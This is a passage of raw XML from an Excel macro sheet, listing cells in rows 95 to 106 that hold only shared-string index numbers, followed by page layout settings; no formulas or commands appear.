t="s"><v>0</v></c><c r="AC95" s="1" t="s"><v>27</v></c></row><row r="96" spans="2:29" x14ac:dyDescent="0.25"><c r="B96" s="1" t="s"><v>0</v></c><c r="C96" s="1" t="s"><v>0</v></c><c r="AC96" s="1" t="s"><v>18</v></c></row><row r="97" spans="2:29" x14ac:dyDescent="0.25"><c r="B97" s="1" t="s"><v>0</v></c><c r="C97" s="1" t="s"><v>0</v></c><c r="AC97" s="1" t="s"><v>31</v></c></row><row r="98" spans="2:29" x14ac:dyDescent="0.25"><c r="B98" s="1" t="s"><v>0</v></c><c r="C98" s="1" t="s"><v>0</v></c><c r="AC98" s="1" t="s"><v>22</v></c></row><row r="99" spans="2:29" x14ac:dyDescent="0.25"><c r="B99" s="1" t="s"><v>0</v></c><c r="C99" s="1" t="s"><v>0</v></c><c r="AC99" s="1" t="s"><v>37</v></c></row><row r="100" spans="2:29" x14ac:dyDescent="0.25"><c r="B100" s="1" t="s"><v>0</v></c><c r="C100" s="1" t="s"><v>0</v></c><c r="AC100" s="1" t="s"><v>27</v></c></row><row r="101" spans="2:29" x14ac:dyDescent="0.25"><c r="B101" s="1"><v>0</v></c><c r="C101" s="1" t="s"><v>0</v></c><c r="AC101" s="1" t="s"><v>22</v></c></row><row r="102" spans="2:29" x14ac:dyDescent="0.25"><c r="AC102" s="1" t="s"><v>41</v></c></row><row r="103" spans="2:29" x14ac:dyDescent="0.25"><c r="AC103" s="1" t="s"><v>39</v></c></row><row r="104" spans="2:29" x14ac:dyDescent="0.25"><c r="AC104" s="1" t="s"><v>22</v></c></row><row r="105" spans="2:29" x14ac:dyDescent="0.25"><c r="AC105" s="1" t="s"><v>42</v></c></row><row r="106" spans="2:29" x14ac:dyDescent="0.25"><c r="AC106" s="1" t="s"><v>10</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup orientation="portrait" r:id="rId1"/></xm:macrosheet>